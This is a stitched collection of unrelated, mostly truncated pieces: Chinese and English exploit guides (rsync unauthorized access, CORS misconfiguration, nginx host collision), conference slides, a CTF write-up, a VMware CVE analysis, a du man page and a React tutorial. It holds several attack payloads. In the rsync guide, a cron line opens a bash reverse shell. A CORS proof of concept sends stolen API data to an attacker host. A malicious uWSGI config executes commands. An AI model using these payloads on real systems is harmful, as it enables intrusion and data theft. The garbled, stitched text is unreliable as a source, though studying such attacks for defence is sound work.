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# Rsync未授权访问漏洞 ## 漏洞描述 `Rsync`是`Linux`下一款数据备份工具支持通过`rsync`协议`ssh`协议进行远程文件传输常被用于在内网进行源代码的分发及同步更新因此使用人群多为开发人员其中`rsync`协议默认监听`873`端口而一般开发人员安全意识薄弱的情况下如果目标开启了`rsync`服务并且没有配置`ACL`或访问密码我们将可以读写目标服务器文件 ## 环境搭建 rsyncd.conf ``` uid = root gid = root use chroot = no max connections = 4 syslog facility = local5 pid file = /var/run/rsyncd.pid log file = /var/log/rsyncd.log [src] path = / comment = src path read only = no ``` 启动rsync ``` rsync --no-detach --daemon --config /etc/rsyncd.conf ``` ## 漏洞利用 环境启动后我们用rsync命令访问之 ``` [root@localhost tmp]# rsync rsync://192.168.32.183:873/ src src path ``` 查看`src`目录 ``` [root@localhost tmp]# rsync rsync://192.168.32.183:873/ src src path You have new mail in /var/spool/mail/root [root@localhost tmp]# rsync rsync://192.168.32.183:873/src drwxr-xr-x 28 2022/07/26 03:45:11 . -rwxr-xr-x 0 2022/07/26 03:45:11 .dockerenv -rwxr-xr-x 101 2022/05/19 09:45:03 docker-entrypoint.sh drwxr-xr-x 6 2018/01/21 13:42:04 bin drwxr-xr-x 6 2017/07/13 09:01:05 boot drwxr-xr-x 6 2022/07/26 03:45:11 data drwxr-xr-x 340 2022/07/26 03:45:11 dev drwxr-xr-x 66 2022/07/26 03:45:11 etc drwxr-xr-x 6 2017/07/13 09:01:05 home drwxr-xr-x 21 2018/01/21 13:42:05 lib drwxr-xr-x 34 2017/10/08 20:00:00 lib64 drwxr-xr-x 6 2017/10/08 20:00:00 media drwxr-xr-x 6 2017/10/08 20:00:00 mnt drwxr-xr-x 6 2017/10/08 20:00:00 opt dr-xr-xr-x 0 2022/07/26 03:45:11 proc drwx------ 37 2017/10/08 20:00:00 root drwxr-xr-x 80 2022/07/26 03:48:12 run drwxr-xr-x 4,096 2017/10/08 20:00:00 sbin drwxr-xr-x 6 2017/10/08 20:00:00 srv dr-xr-xr-x 0 2022/07/25 22:41:55 sys drwxrwxrwt 6 2022/07/26 03:44:41 tmp drwxr-xr-x 42 2017/10/08 20:00:00 usr drwxr-xr-x 17 2017/10/08 20:00:00 var ``` 这是一个Linux根目录我们可以下载任意文件 ``` [root@localhost tmp]# rsync -av rsync://192.168.32.183:873/src/etc/passwd ./ receiving incremental file list passwd sent 43 bytes received 1,283 bytes 2,652.00 bytes/sec total size is 1,197 speedup is 0.90 ``` 或者写入定时计划 ``` echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/9999 0>&1' >> shell ```


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# Unknown - Outside Secret Base Category: Reversing ## Description > Youre still located behind the tree, but now you have a plan on how to get in. You have taken notice that the guards are changing every 45 minutes, and when they do that, you have a gap of about 30 seconds to sneak past and get into the main entrance. Its risky of course, but you have to give it a try. You run towards the entrance. The new guards have not come yet, but suddenly you hear voices closing in. You trip and fall in front of the main entrance. The voices are very close now, and you glimpse a coat that belongs to a guard behind the corner, but at the last moment you get up and enter! ...only to face another door, this one closed, with an electronic lock - this one brand new. The good news is that it seems you won't be bothered for some time, and whoever is entering or leaving most likely won't notice you if you stand really still next to the wall. You pull out your handy screwdriver, unscrew the panel next to it, and stare at the circuit board for a few seconds. It doesn't look bad, you can do it! You pull out your laptop, attach some wires, and dump the firmware in seconds. It looks fairly simple actually... > Challenge: Just another keypad (rev) > > You start to analyze the firmware, and uff, that's just a standard Linux. This does makes things easier (imagine having to reverse a custom 8051 RTOS on the spot!). You browse through the directories to find the lock controls, and spot both the right executable and THE SOURCE CODE! But wait... it's in Free Pascal?! Note: To make the final flag append "CTF{" prefix and "}" suffix to the keypad code you've got. E.g. if the code is 1234, the flag would be CTF{1234} ## Solution We receive the following Pascal program: ```pascal type DigitType = array[1..16] of SmallInt; function CheckKeyPadCode(code : DigitType) : Boolean; var digit : SmallInt; i : SmallInt; x, a, b, c, d : QWord; begin x := 0; i := 0; For digit In code Do Begin If (digit < 0) or


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# CORS Misconfiguration > A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attackers site using the victims credentials. ## Summary * [Tools](#tools) * [Prerequisites](#prerequisites) * [Exploitation](#exploitation) * [References](#references) ## Tools * [s0md3v/Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/) * [chenjj/CORScanner - Fast CORS misconfiguration vulnerabilities scanner](https://github.com/chenjj/CORScanner) * [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html) * [trufflesecurity/of-cors - Exploit CORS misconfigurations on the internal networks](https://github.com/trufflesecurity/of-cors) ## Prerequisites * BURP HEADER> `Origin: https://evil.com` * VICTIM HEADER> `Access-Control-Allow-Credential: true` * VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null` ## Exploitation Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`. ### Vulnerable Example: Origin Reflection #### Vulnerable Implementation ```powershell GET /endpoint HTTP/1.1 Host: victim.example.com Origin: https://evil.com Cookie: sessionid=... HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true {"[private API key]"} ``` #### Proof of concept This PoC requires that the respective JS script is hosted at `evil.com` ```js var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//atttacker.net/log?key='+this.responseText; }; ``` or ```html <html> <body> <h2>CORS PoC</h2> <div id="demo"> <


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攻击内的另类式host碰撞实践指南 清川崎@滴滴SSTG 0x00.前 在当前的攻防实战当中想要突破标边界进入内的式无非有以下种式 1.RCE/RCI(远程代码执/远程命令注入) 2.VPN弱令 3.SSRF漏洞 4.SQLI 5.件上传 6.物理攻击/社钓 但是有种依靠期信息收集才能提升攻击成功率的式往往被忽略那就是host 碰撞 0x01.本质 host碰撞这种攻击式本质上是nginx配置不当容易产的安全问题 nginx般 于做外代理配置也比较便但是配置不当的时候会产些安全问题其中 包括各个也都出现过(这我就不点名是哪些互联了) 外部署服务 般正常的流程是下这样的: intra server -> proxy -> nginx 内的集群或机器不直接连接外部nginx做个proxy代理透出传递互联如果 nginx配置不当或者nignx default_server没有配置或者配置内那么内 业务将被透传出去 nginx 的default_server指令可以定义默认的 server 去处理些没有匹配 到server_name的请求如果没有显式定义则会选取第个定义的server作 为default_server 也就是说nginx如果没配置default_server,那么nginx会默认 找个a-z的域名进匹配的这个是nginx的默认规则如配 置default_server为内的业务那么nginx也会默认使 nginx批量载入配 置 conf 时会按 ascii 排序载入这就会以 server_a.conf server_b.conf server_c.conf 的顺序载入如果没有声明default_server的话那server_a会 作为默认的server去处理未绑定域名/ip 的请求. 0x02.现象 那么说清楚了本质原因我们来看看host碰撞的现象级表象 在攻防实战过程中 很多时候我们在做信息搜集的时候般会遇到两种无法利的情况 1.扫描出来的很多根域名的域名其绑定解析的ip响应多为Nginx 200 Welcome to Centosrouter 200401403404500503 2.很多域名解析到内ip17x.x.x.x10.x.x.x 这举些例 先看看ip相关的案例 再来看看关于域名的案例 0x03.实践 现在来说下怎么去实现host碰撞 3.1. 前期准备 先我们得有庞的外ip池内host池我们需要搭建些简易的soar 去实现这我推荐使灯塔ARL 灯塔ARL github项地址:https://github.com/TophantTechnology/ARL 它概这样 灯塔ARL可以便的管理标的资产信息它会利各种情报API充分收集标的相 关信息例如利fofadnsmqriskiq等api我们按照要求搭建好以后需要到 其中的域名监控域名管理的模块 登录以后新建个资产组 然后启域名监控 差不多等待周以上的时间灯塔平台会动收集并去重得到数量庞的ip池域 名池 但是信息收集到这还没有结束我们还需要通过其他途径收集 通过访问某些外系统中的jshtml源码中注释部分寻找内域名 通过github寻找内域名 很多员喜欢把公司内的些域名丢到github码云等代码托管平台觉得内 域名需要VPN或者公司WiFi才能访问其实这是给外部攻击者提供了攻击条件 把代码托管平台中的这些host信息收集起来与灯塔ARL中的内域名组合以后并去 重将得到个数量较的内域名池 抓包灯塔展示内域名的请求api得到json数据 灯塔ARL json数据的去重这我提供个的脚本 #!/usr/bin/python3 import json data1 = 填json数据 json_str = json.dumps(data1) list1 = [] list2 = [] data2 = json.loads(json_str) data2_len = len(data2['items']) for x in range(0,data2_len): data3 = data2['items'][x]['domain'] data3_len = len(data3) if data3_len != 0: for y in range(0,data3_len): list1.append(data3[y]) # print(data3[y]) else: list2.append(data3[0]) # print(data3[0]) list3 = list(set(list1 + list2)) list3_len = len(list3) for i in range(0,list3_len): print(list3[i]) 下是使效果 再组合github


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王大寶, PK 虛擬機 - 惡意程式攻防的新戰場  講師簡介 王大寶, 小時候大家叫他王小寶,長大後就稱王大寶,目前隸 屬一神祕單位. 雖然佯稱興趣在看書與聽音樂, 但是其實晚 上都在打Game. 長期於系統最底層打滾,熟悉ASM,C/C++, 對於資安毫無任何興趣,也無經驗,純粹是被某壞人騙上台, 可以說是不可多得的素人講師!!  議程大綱 現今的 CPU 都支援虛擬化專用指令集, 讓 VM 獲得硬體的 支援. 在這個場次中,我們將詳細地介紹 Intel 的 VT指令集 與其 Hypervisor 運作的機制. 此外我們將並介紹在惡意軟 體研究領域中在 Hypervisor 模式下能有哪些應用,包含惡意 程式技術與偵防分析的應用. 最後我們將介紹自行開發能在 Hypervisor 模式下運作的 Malware POC, 而且是無法被目 前防毒與防護系統偵測到! Agenda  VMM on x86  Hardware assisted architecture  VMM software implementing  Security & VMM What is VMM  Has full control over the platform  A thin layer between the physical hardware and virtualized environment  Be able to retain selective control from guest software  The real world 現實是殘酷的, 從VM中醒過來不一定是好事  :P What is VMM (conti.) Guest OS 1 Guest OS 2 VMM Physical Processor Types of Hypervisors Intel VT-x  Introduced by Intel  Includes a new set of instructions  Totally isolated environments for each guest  Solved many problems which were caused by guest OS executing at the same level of host OS  Provides better performance than byte code emulation Keywords  VMM runs at VMX root operation  Guest software runs at VMX non-root operation  Transition from VMM to guest software is called VM entry  Transition from guest software to VMM is called VM exit VMX root operation  Check CPU capabilities mov eax, 1 cpuid test ecx, 20h VMX  Virtual Machine Extensions 5 VMX root operation (conti.)  Prepare a non-pageable memory (VMXON Region)  storage of host context  aligned to 4KB  in MTRR range  Write Back (type 6)  size = MSR#480 [43:32]  rev_id = MSR#480 [31:0] 31 0 rev_id 43 VMXON Region Size 32 VMX root operation (conti.)  Enable VMXE bit (bit13) in CR4 mov eax, cr4 or eax, Bit13 mov cr4, eax 13 VMXE  Virtual Machine Extensions Enabled VMX root operation (conti.)  VMXON instruction vmxon phymem_vmxon_region  Hello, real world VMX non-root operation  Prepare a non-pageable memory (VMCS)  storage of guest software states  aligned to 4KB  in MTRR range  Write Back (type 6)  size = MSR#480 [43:32]


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Paul Marrapese <paul@redprocyon.com> DEF CON 28 Abusing P2P to Hack 3 Million Cameras What is this talk?  Overview of "convenience" feature found in millions of IoT devices  P2P is found in cameras, baby monitors, smart doorbells, DVRs, NASes, alarm systems  Hundreds of different brands impacted (supply chain issue)  How P2P exposes devices to the world  Devices are instantly accessible, even with NAT/firewalls  Obscure architecture and protocol (these devices aren't on Shodan!)  How P2P can be abused to remotely attack devices  Stealing creds with over-the-Internet MITM attacks  Exploiting devices behind firewalls to get root shells $ whoami  Paul Marrapese (OSCP)  San Jose, CA  @PaulMarrapese / paul@redprocyon.com  h=ps://hacked.camera  Red team at a large enterprise cloud company (opinions expressed are solely my own)  Reverse engineering, music producEon, photography All good things start with cats. Cheap cams galore Cheap cams galore Shady cams galore! Shady cams galore! What is peer-to-peer (P2P)?  In the context of IoT, a convenience feature for connectivity  Plug and play: users can instantly connect to devices from anywhere  Eliminates technical barriers barriers for non-technical users  No port forwarding required  No dynamic DNS or remembering IP addresses required  No UPnP required (P2P is not UPnP)  Automatically accepts connections, even with NAT/firewall restrictions  Your cheap camera's gaping security holes are now open to the world. Good luck.  Who provides P2P?  Several diﬀerent providers of P2P soluEons in the industry  Largest is probably ThroughTek (TUTK)'s Kalay plaWorm (> 66m devices1)  This talk will focus on 2 in parEcular:  CS2 Network P2P (> 50m devices2)  Libs: PPPP_API, PPCS_API, libPPPP_API, libPPCS_API  Shenzhen Yunni iLnkP2P (>3.6m devices)  FuncEonally-idenEcal clone of CS2 P2P (even has compaEble API)  Libs: libxqun, libXQP2P_API, libobject, PPPP_API 1: https://www.throughtek.com/kalay_structure.html 2: http://cs2-network.cn/iot/ab


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Building a Real Session Layer D.J. Capelis Defcon 16 Let's start at the beginning It's easier to end at the end when you start at the beginning What's a Session Layer? ISO 7 Layer Model (Designed by committee) 1  Physical Layer (e.g. Cat 6, Fiber, Air) 2  Data Link Layer (e.g. Ethernet, 802.11[abgns...], FDDI) 3  Network Layer (Most commonly IP) 4  Transport Layer (e.g. TCP, UDP and a bunch of others) 5  Session Layer (Mostly unused) 6  Presentation Layer (Usually made fun of) 7  Application Layer (Everything) So where's the session layer? It kinda went everywhere.... Encryption: SSL, SSH, IPSec (?) Authentication: Individual applications shouldn't be doing encryption See also: I want to use my SSH keys for everything and there's no good reason I shouldn't be able to! Tons of service specific stuff that got pushed into the application layer Generally each application is reimplementing some idea of a session independently. More Code. More Code. More Buggy Code. So let's get rid of it While we're here.... Why do application multiplexing in layer 4? I dunno Yoink Layer five'd Speaking of which... That's what we're calling this software. fived Short for: Layer Five Daemon Current Development Status: Don't actually run it Useful for demos only Here's what we're going to put into fived: Application Multiplexing Authentication Encryption Things that go away: Port Knocking Host Based Firewalls Vhosts Authentication (As much as possible) Port Numbers ... Really? Yes... really. No port numbers If TCP/UDP hadn't done them, we'd have had a real session layer 20 years ago. Okay, so... taking out port numbers, kind of a big deal Please do one of the following If you're not with me on this... shout an expletive If you're with me on this... loudly proclaim: Hmm... interesting Best thing about Defcon: Having hundreds of people swear at you. (If not at least a hundred of you swore, I'm disappointed in Defcon and standing on the stage looking a bit like an idiot right now) Back to the


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) (( ( ((( )()() Alibaba Security 1  Xiaolong Bai  Alibaba Security Engineer  Ph.D. graduated from Tsinghua University  Published papers on the top 4: S&P, Usenix Security, CCS, NDSS  Twitter, Weibo, Github: bxl1989  Min (Spark) Zheng  Alibaba Security Expert  Ph.D. graduated from The CUHK  Twitter@SparkZheng Weibo@spark Alibaba Security Self Introduction Agenda  Overview  Drivers in Kernel  Userland Perspective  New Vulns in Drivers on macOS  Two new vulnerabilities  New exploitation strategies  Privilege escalation on the latest macOS  Obstacles when analyzing Apple drivers  Ryuk: a new tool to analyze Apple drivers  Design  Effects  Implementation  Benefits Alibaba Security Overview  Every driver is a kernel extension (.kext) sharing the same space with the kernel  System daemon kextd is responsible for loading and unloading drivers  Location of driver binaries:  On macOS: /System/Library/Extensions  On iOS: integrated with kernel in kernelcache Alibaba Security Drivers in Kernel  Programmed in C or C++  Info.plist: configuration file in drivers for their property and usage Kernel libs used in the driver Class name to provide service to userspace Class name of the driver Alibaba Security Drivers in Kernel  Kernel APIs (KPI): APIs can be used by drivers to live in kernel  /System/Library/Frameworks/Kernel.framework/Resources/SupportedKPI s-all-archs.txt (on macOS)  Basic KPI Modules:  com.apple.kpi.iokit: For programming drivers, Apple provides an open- source framework called iokit, which includes basic driver classes  com.apple.kpi.libkern: a restricted c++ runtime lib in the kernel  excluded featuresexceptions, multiple inheritance, templates  an enhanced runtime typing system: every class has an OSMetaClass object which describes the classs name, size, parent class, etc. Alibaba Security Drivers in Kernel  A sample driver Header File Code File Alibaba Security Drivers in Kernel  A sample driver Header File Code File Parent of all drivers Declare Con/Destructor


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a 30,000 feet look at wi-fi, the freezing spot luiz effffn eduardo hello DefCon 17 before we start... DefCon 17 so, why freezing spots? DefCon 17 agenda motivation the old and the new the pieces of the puzzle DefCon 17 the experiment(s) next? disclaimer DefCon 17 motivation gts 12 the pieces of the puzzle DefCon 17 gts 12 gts 12 gts 12 the old school way DefCon 17 the new stuff DefCon 17 gts 12 so, I asked... DefCon 17 Hello Luiz, You have asked a great question! You have asked a great question! You have asked a great question! You have asked a great question! What has changed that internet is now available during flight is What has changed that internet is now available during flight is What has changed that internet is now available during flight is What has changed that internet is now available during flight is technology. With the ability to use Wi technology. With the ability to use Wi technology. With the ability to use Wi technology. With the ability to use Wi----Fi frequencies instead Fi frequencies instead Fi frequencies instead Fi frequencies instead of cellular frequencies this has been approved! The FAA still of cellular frequencies this has been approved! The FAA still of cellular frequencies this has been approved! The FAA still of cellular frequencies this has been approved! The FAA still has all voice communication prohibited. has all voice communication prohibited. has all voice communication prohibited. has all voice communication prohibited. If you would like more information on this please feel free to visit the links If you would like more information on this please feel free to visit the links If you would like more information on this please feel free to visit the links If you would like more information on this please feel free to visit the links below: below: below: below: http://www.aa.com/content/amrcorp/pressReleases/2008_08/20_ http://www.aa.com/content/amrcorp/pressReleases/2008_08/20_ http://www.aa.com/content/amrcorp/pressReleases/20


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# uWSGI configuration file uWSGI configuration files can include magic variables, placeholders and operators defined with a precise syntax. The @ operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including exec - useful to read from a processs standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed: Example of malicious uwsgi.ini file: ```ini [uwsgi] ; read from a symbol foo = @(sym://uwsgi_funny_function) ; read from binary appended data bar = @(data://[REDACTED]) ; read from http test = @(http://[REDACTED]) ; read from a file descriptor content = @(fd://[REDACTED]) ; read from a process stdout body = @(exec://whoami) ; call a function returning a char * characters = @(call://uwsgi_func) ``` When the configuration file will be parsed(e.g. restart, crash or autoreload) payload will be executed. ## uWSGI lax parsing The uWSGI parsing of configuration file is lax. The previous payload can be embedded inside a binary file(e.g. image, pdf, ...). ## Thanks to * [A New Vector For Dirty Arbitrary File Write to RCE - Doyensec - Maxence Schmitt and Lorenzo Stella](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)


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Oracle Penetration Testing Using the Metasploit Framework Chris Gates & Mario Ceballos Metasploit Project Abstract Over the years there have been tons of Oracle exploits, SQL Injection vulnerabilities, and post exploitation tricks and tools that had no order, methodology, or standardization, mainly just random .sql files. Additionally, none of the publicly available Pentest Frameworks have the ability to leverage built- in package SQL Injection vulnerabilities for privilege escalation, data extraction, or getting operating system access. In this whitepaper we will present an Oracle Pentesting Methodology and give you all the tools to break the "unbreakable" Oracle as Metasploit auxiliary modules. We've created your version and SID enumeration modules, account bruteforcing modules, ported all the public (and not so public) Oracle SQL Injection vulnerabilities into SQLI modules (with IDS evasion examples for 10g/11g), modules for OS interaction, and modules for automating some of our post exploitation tasks. The modules are currently only supported under Linux and OSX. Oracle Penetration Testing Methodology  Locate a system running Oracle.  Determine Oracle Version.  Determine Oracle SID.  Guess/Bruteforce USERNAME/PASS.  Privilege Escalation via SQL Injection.  Manipulate Data/Post Exploitation.  Cover Tracks. Locating an Oracle System You will typically find most Oracle installations by performing port scanning in the target netblock. The Oracle listener default port is 1521 but can listen on an port generally in the 1521-1540 range. You can also discover oracle instances by scanning other common Oracle ports. Review http://www.red- database-security.com/whitepaper/oracle_default_ports.html for common Oracle ports. Generally running a service scan will NOT give you the Oracle TNS Listener version but updated fingerprints for new versions of Nmap may yield versions in some situations. cg@attack:~$ nmap -sV 192.168.0.100-105 -p 1521 Starting Nmap 4.85BETA8 ( http://nm


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.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH DU 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 du \- 估计磁盘文件使用量 .SH 概述 \fBdu\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP]... .br \fBdu\fP [\fI\,选项\/\fP]... \fI\,\-\-files0\-from=F\/\fP .SH 描述 .\" Add any additional description here .PP 计算每个文件的设备用量目录则取总用量 .PP 必选参数对长短选项同时适用 .TP \fB\-0\fP, \fB\-\-null\fP 使每行输出以 NUL 字符结束不添加换行符 .TP \fB\-a\fP, \fB\-\-all\fP 输出所有文件的磁盘用量不仅仅是目录 .TP \fB\-\-apparent\-size\fP print apparent sizes rather than device usage; although the apparent size is usually smaller, it may be larger due to holes in ('sparse') files, internal fragmentation, indirect blocks, and the like .TP \fB\-B\fP, \fB\-\-block\-size\fP=\fI\,大小\/\fP 以指定大小为单位对块大小进行输出例如\&'\-BM' 以 1,048,576 字节为单位输出大小详情请参见下方的SIZE 格式部分 .TP \fB\-b\fP, \fB\-\-bytes\fP 等效于 '\-\-apparent\-size \fB\-\-block\-size\fP=\fI\,1\/\fP' .TP \fB\-c\fP, \fB\-\-total\fP 显示总计信息 .TP \fB\-D\fP, \fB\-\-dereference\-args\fP 只在符号链接显式在命令行列出时对其进行解引用 .TP \fB\-d\fP, \fB\-\-max\-depth\fP=\fI\,N\/\fP 仅当目录或在 \fB\-\-all\fP 选项启用时包括文件层级不高于命令行参数指定的 N 层时输出对应目录或文件的对应大小\fB\-\-max\-depth\fP=\fI\,0\/\fP 等效于 \fB\-\-summarize\fP .TP \fB\-\-files0\-from\fP=\fI\,F\/\fP 统计文件 F 中的以 NUL 空字符分隔的文件名所对应的各个文件的设备使用量如果 F 是 "\-"则从标准输入读取文件名 .TP \fB\-H\fP 和 \fB\-\-dereference\-args\fP\fB\-D\fP等效 .TP \fB\-h\fP, \fB\-\-human\-readable\fP 以人类可读的格式输出大小例如1K 234M 2G .TP \fB\-\-inodes\fP 列出 inode 使用信息而非块使用信息 .TP \fB\-k\fP 等效于 \fB\-\-block\-size\fP=\fI\,1K\/\fP .TP \fB\-L\fP, \fB\-\-dereference\fP 解引用所有符号链接 .TP \fB\-l\fP, \fB\-\-count\-links\fP 如果是硬连接则重复计算其尺寸 .TP \fB\-m\fP 等效于 \fB\-\-block\-size\fP=\fI\,1M\/\fP .TP \fB\-P\fP, \fB\-\-no\-dereference\fP 不跟随任何符号链接默认行为 .TP \fB\-S\fP, \fB\-\-separate\-dirs\fP 不包括子目录的占用量 .TP \fB\-\-si\fP 类似 \-h但使用 1000 的倍数而非 1024 .TP \fB\-s\fP, \fB\-\-summarize


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Md Sohail Ahmad Md Sohail Ahmad Prabhash Prabhash Dhyani Dhyani AirTight Networks AirTight Networks www.airtightnetworks.com www.airtightnetworks.com Wi-Fish Finder: Who will bite the bait? There is >50 % chance that your laptop will!  AirTight Networks 2009 Submitted to DEFCON 17 About the Speaker Last year brought to you Autoimmunity Disorder in Wireless LANs at Defcon 16 http://www.defcon.org/html/defcon-16/dc-16- speakers.html#Ahmad The year before served you Caffe Latte at Toorcon 9 http://www.toorcon.org/2007/event.php?id=25  AirTight Networks 2009 Submitted to DEFCON 17 What Motivated This Presentation A lot has been written and said about dangers of using OPEN and WEP based WiFi networks Yet, level of awareness about WiFi vulnerabilities is still very low. A recent study by AirTight Networks in April 2009 http://www.airtightnetworks.com/home/resources/knowledge-center/financial- districts-scanning-report.html 56 % Clients were found to be probing for one or more SSIDs 13 % Clients were found probing for OPEN ad hoc networks Most users are vulnerable, yet they are unaware  AirTight Networks 2009 Submitted to DEFCON 17 Perhaps Showing Them a Mirror Will Help Wi-Fish Finder is a tool for 1. Discovering active WiFi clients 2. Finding networks they are probing for 3. Finding security settings of the probed network 1,2 has been done before Whats cool? --- Step 3 What needs attention?  clients which only connect to WPA, WPA2 networks can also be vulnerable!  AirTight Networks 2009 Submitted to DEFCON 17 Network Name Leakage from WiFi Cards WiFi enabled roaming clients normally leak the name of the networks they have been connecting to in the past Some of these networks could be Open or WEP and leaves client vulnerable to Honeypot style attacks  AirTight Networks 2009 Submitted to DEFCON 17 Can Security Mode of Each Probed Network (OPEN, WEP, WPA or WPA2) be Determined? WiFi enabled laptop keeps memory of various WiFi networks it has connected to in the past If corr


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Satellite's Gone... Works in progress Major Malfunction aka Adam Laurie adam@algroup.co.uk http://rfidiot.org Who Am I?  CoPublisher APACHESSL  DEFCON 'goon'  Open Source developer / researcher  Bluetooth  RFID  Full Disclosure / White Hat!  Freelance research / training / lecturing Feed Hunting  Look for 'interesting' satellite feeds  Scan all frequencies  Scan all satellites  Report on mailing lists / forums Poking in the dark Poking in the dark Poking in the dark Poking in the dark There must be a better way!  Visualisation is your friend  Human Brain likes images  Recognise food  Recognise danger  Recognise friends There must be a better way!  Visualisation is your friend  Human Brain likes images  Recognise food  Recognise danger  Recognise friends  Watch pr0n!! Visual Representations Visual Representations Visual Representations Time travel  day 1 Time travel  day 2 That was then...  Proprietary control systems  Undocumented  Reluctant manufacturers  Special hardware / interface converters  Motor Control  Signal Status  to RS232 This is now...  Open standards  DVB Cards  Embedded Linux Receivers  Dreambox  Tuxbox based  GPL source code  Cross compilers This is now...  Web Interface  Select programming  Steer dish  Examine feed properties Web Interface Stream Info Stream Info Stream Info  dvbsnoop  DVB and MPEG stream analyzer  WireShark for DVB  Access to raw data from DVB card  Decode known PIDs http://dvbsnoop.sourceforge.net Stream Info Stream Info Stream Info Stream Info Stream Info Stream Info Stream Info Stream Info Stream Info Taking over the Dreambox  Avoid programming  Analyse config files  Tools to tweak and update  Use existing Web Interface URLS  Use remote tools via IP  ssh / scp  dvbsnoop  tun/tap Taking over the Dreambox Taking over the Dreambox dreaMMap  python (yay!) script  Grab URL  Read status from returned webpage  Create 3D model This is now... This is now... 3D model capabilities  Point & Click  Steer to sat/freq  Decode DVB/Audio within


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CVE-2022-22972 VMware Workspace ONE Access Authentication Bypass RCE author:Y4er 补丁对比 HW-156875-Appliance-21.08.0.1/frontend-0.1.war中增加了一个HostHeaderFilter匹配全路由 然后删除了DBConnectionCheckController这个地方有jdbc attack 权限绕过 查看HostHeaderFilter代码 package ; import VisibleForTesting; import GlobalConfigService; import HorizonPropertyHolder; import ApplianceNetworkDetails; import ApplianceUtil; import IOException; import Optional; import Filter; import FilterChain; import FilterConfig; import ServletException; import ServletRequest; import ServletResponse; import HttpServletRequest; import HttpServletResponse; import StringUtils; import Logger; import LoggerFactory; import Autowired; import Component; @Component("HostHeaderFilter") public class HostHeaderFilter implements Filter { private static final Logger log = LoggerFactory.getLogger(HostHeaderFilter.class); private static final String LOCALHOST = "localhost"; private static final String LOCALHOST_IP_ADDRESS = "127.0.0.1"; private static final int INVALID_HOST_NAME_STATUS_CODE = 444; @Autowired private HorizonPropertyHolder horizonPropertyHolder; @Autowired private ApplianceUtil applianceUtil; @Autowired private GlobalConfigService globalConfigService; private ApplianceNetworkDetails applianceNetworkDetails = null; private Boolean isOnPremise; private Boolean isSingleTenant; public HostHeaderFilter() { this.isOnPremise = Boolean.FALSE; this.isSingleTenant = Boolean.FALSE; } public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { this.isOnPremise = this.globalConfigService.isServiceOnPrem(); com.vmware.horizon com.google.common.annotations. com.tricipher.saas.action.api. com.vmware.horizon.common.utils. com.vmware.horizon.common.utils.system. com.vmware.horizon.common.utils.system. java.io. java.util. javax.servlet. javax.servlet. javax.servlet. javax.servlet. javax.servlet. java


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# react-burger-menu > 目前使用数最多的侧边栏插件 因为我们用 `create-react-app` 创建的 React 环境 所以在这里我们使用 React 的组件形式 ### 装包 ``` npm install react-burger-menu --save ``` ### 使用 #### 首先导入组件 ```js import { slide as Menu } from 'react-burger-menu' ``` #### 将需要的侧边栏的项目放在`<Menu>`内 ```html <Menu> <a href='' /> </Menu> ``` #### 贴入 CSS 样式进行定制自己需要的样式 ```css /* Position and sizing of burger button */ .bm-burger-button { position: fixed; width: 36px; height: 30px; left: 36px; top: 36px; } /* Color/shape of burger icon bars */ .bm-burger-bars { background: #373a47; } /* Position and sizing of clickable cross button */ .bm-cross-button { height: 24px; width: 24px; } /* Color/shape of close button cross */ .bm-cross { background: #bdc3c7; } /* General sidebar styles */ .bm-menu { background: #373a47; padding: 2.5em 1.5em 0; font-size: 1.15em; } /* Morph shape necessary with bubble or elastic */ .bm-morph-shape { fill: #373a47; } /* Wrapper for item list */ .bm-item-list { color: #b8b7ad; padding: 0.8em; } /* Styling of overlay */ .bm-overlay { background: rgba(0, 0, 0, 0.3); } ``` **小贴士**一般我们修改别人的样式或者插件的样式时不是直接删除 重写 覆盖而是在下面写一个自己定制的样式 ```css /* Liu custom */ /* Position and sizing of burger button */ .bm-burger-button { position: fixed; width: 18px; height: 12px; left: 20px; top: 46px; } ``` #### 利用插件自带的属性进行修改 - Position > 默认情况下菜单从左边打开 要从右边打开需要使用正确的道具 它只是一个布尔值所以你不需要指定一个值 然后使用CSS设置按钮的位置 ```js <Menu right /> ``` - Width > 可以使用宽度限定符指定菜单的宽默认值是300 ```js <Menu width={ 280 } /> <Menu width={ '280px' } /> <Menu width={ '20%' } /> ``` - 是否打开 > 你可以控制侧边栏是否打开或关闭与开放的道具默认值为false ```js <Menu isOpen /> ``` - 状态的变化 > 你可以检测到侧边栏是否打开或关闭通过回调函数OnStateChange 回调将接收一个包含新状态作为第一个参数的对象 ```js var isMenuOpen = function(state) { return state.isOpen } <Menu onStateChange={ isMenuOpen } /> ``` - 覆盖 > 你可以关掉默认覆盖无叠加 ```js <Menu noOverlay /> ``` ### 怎么解决路由跳转时侧边栏直接消失的问题 > 利用插件的`isOpen`使侧边栏先消失再跳转 在组件中创建一个`isOpen`状态值写一个方法用来控制这个状态值 最后用这个状态去控制插件的 isOpen 将这个方法绑定到需要跳转的路由上就可以解决这个问题 ```js import React from 'react' import { slide as Menu } from 'rea


